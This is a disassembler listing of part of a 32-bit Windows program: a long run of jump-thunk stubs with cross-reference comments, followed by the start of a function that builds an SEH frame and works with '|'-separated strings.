sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF1	proc near		; CODE XREF: sub_422640+Ap
		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416B0Bp
					; ___:0043B2A4j ...
		jmp	sub_417C20
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8F0+13p
		jmp	loc_40AA30
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B160:loc_41B1ACp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414395p
		jmp	sub_415570
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157B0+34p
					; sub_4162C0+67p
		jmp	sub_416460
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153D0+3p
					; ___:00415B4Fp ...
		jmp	sub_415E00
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CE0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131F0+4Dp
		jmp	sub_415450
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F60+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:00419203p
		jmp	sub_419270
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFFAp
		jmp	sub_40C330
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F08Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B6Bp
					; ___:0043B250j ...
		jmp	sub_417B40
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C40+99p
		jmp	sub_413E10
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B470+3Dp
					; ___:0040BC0Dp ...
		jmp	sub_40B7E0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404CC0+A38p
		jmp	sub_4068E0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A80+72p
		jmp	sub_413740
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418430+5Fp
					; sub_418A40+1Ap ...
		jmp	sub_418AB0
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B600+4Bp
					; sub_40B600:loc_40B68Bp ...
		jmp	sub_40BF20
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E500
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A510+142p
		jmp	sub_40A8F0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404690+35Dp
					; sub_404690+39Ep
		jmp	sub_404B60
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415ED0+9p
					; sub_415F70+18p
		jmp	sub_4167D0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_4277B0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429120
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D540

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096E0+112p
					; sub_4096E0+153p
		jmp	sub_409A20
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413740+6Fp
					; sub_413740+DBp ...
		jmp	sub_4153D0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152E0+6Ap
					; sub_415CE0+32p
		jmp	sub_415C20
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F100
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412BF0+3p
		jmp	sub_412C20
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404690+48p
					; sub_404690+5Dp ...
		jmp	sub_409E00
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F090o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B140+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD90+34p
					; sub_40C200+67p
		jmp	sub_40C120
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F094o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F180
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F960+5Ap
		jmp	sub_420040
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B2Bp
					; ___:0043B288j ...
		jmp	sub_417C00
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_4131F0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421754p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404690+2CEp
					; sub_404CC0+46Fp ...
		jmp	sub_40A750
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404CC0+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEC0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F088o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEC3p
					; ___:0040FFAEp ...
		jmp	sub_40AEF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099C0+7p
		jmp	sub_409AB0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_416970
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBF0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_410030+8ADp
					; sub_410030+95Ep ...
		jmp	sub_411A60
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C120+7p
		jmp	sub_40C310
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418A40+34p
					; sub_418F90+67p
		jmp	sub_418DA0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BF0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_4292B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_417120+2Bp
					; sub_417120+3Bp ...
		jmp	sub_403F30
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098B0+14p
		jmp	sub_409910
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_427940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_418430+4Dp
		jmp	sub_418B70
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415230+5p
					; sub_4153F0+6p ...
		jmp	sub_415DE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_427940+3p
		jmp	sub_427970
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------
		jmp	loc_421720

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413740+83p
					; sub_4145A0+91p ...
		jmp	sub_4153F0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F054o
		jmp	sub_41F030
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAD0+144p
		jmp	sub_40ADE0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416860+Ap
		jmp	sub_4169C0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D70+4p
		jmp	sub_416590
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E20+8p
		jmp	sub_4190C0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418990+34p
					; sub_418E80+67p
		jmp	sub_418CA0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41A960
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415BA0+35p
		jmp	sub_416670
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404CC0+459p
					; sub_406730+43p ...
		jmp	sub_409CA0
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BE00+5p
					; sub_40BF40+6p ...
		jmp	sub_40C140
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416F7Ap
		jmp	sub_4191B0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AD23p
		jmp	sub_42AD50
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_410030+F3Dp
					; sub_410030+1392p ...
		jmp	sub_4148A0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A80+38p
					; sub_413E70+5Fp
		jmp	sub_4135E0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A210+14p
					; sub_40A240+7p ...
		jmp	sub_40A260
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACC0+1Ap
					; sub_40AD10+1Ap
		jmp	sub_40AD80
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156F0+3p
					; ___:00415F1Fp ...
		jmp	sub_416150
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_410030
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_4148A0+EDp
		jmp	sub_415920
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BF00+3p
		jmp	sub_40C180
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BFA0+11p
					; ___:0040BFC7p ...
		jmp	sub_40C2C0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E760+2C5p
		jmp	sub_4208E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D930+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CC0+32p
		jmp	sub_418F90
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ED00+ACp
					; ___:0040F42Dp
		jmp	sub_40EE40
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138B0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_4152A0+1Fp
					; sub_415BA0+2Cp
		jmp	sub_415B00
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420630+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAD0+6Ap
					; sub_40AAD0+103p
		jmp	sub_40AD10
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427910
; ---------------------------------------------------------------------------
		jmp	loc_41AD00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0E0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B5Ap
		jmp	sub_4165E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:00408779p
					; ___:0040879Bp ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B600+55p
		jmp	sub_40A0B0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_429510
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD50+11p
					; sub_40BFA0+1Fp
		jmp	sub_40C0D0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416ABBp
		jmp	sub_418A40
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403720+25p
					; sub_403720+35p ...
		jmp	sub_403CE0
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_418430+88p
					; sub_418430+98p
		jmp	sub_418B90
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BBBp
					; ___:0043B20Aj ...
		jmp	sub_417870
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418BE0+5p
		jmp	sub_418E50
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414710+3p
		jmp	sub_414740
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135E0+5Cp
					; sub_4135E0+C0p ...
		jmp	sub_415540
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D930+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_4134A0+34p
					; sub_4148A0+40p
		jmp	sub_4159F0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC90+1A4p
					; sub_40D040+ADp
		jmp	sub_40D040
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFC0
; ---------------------------------------------------------------------------
		db 129Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
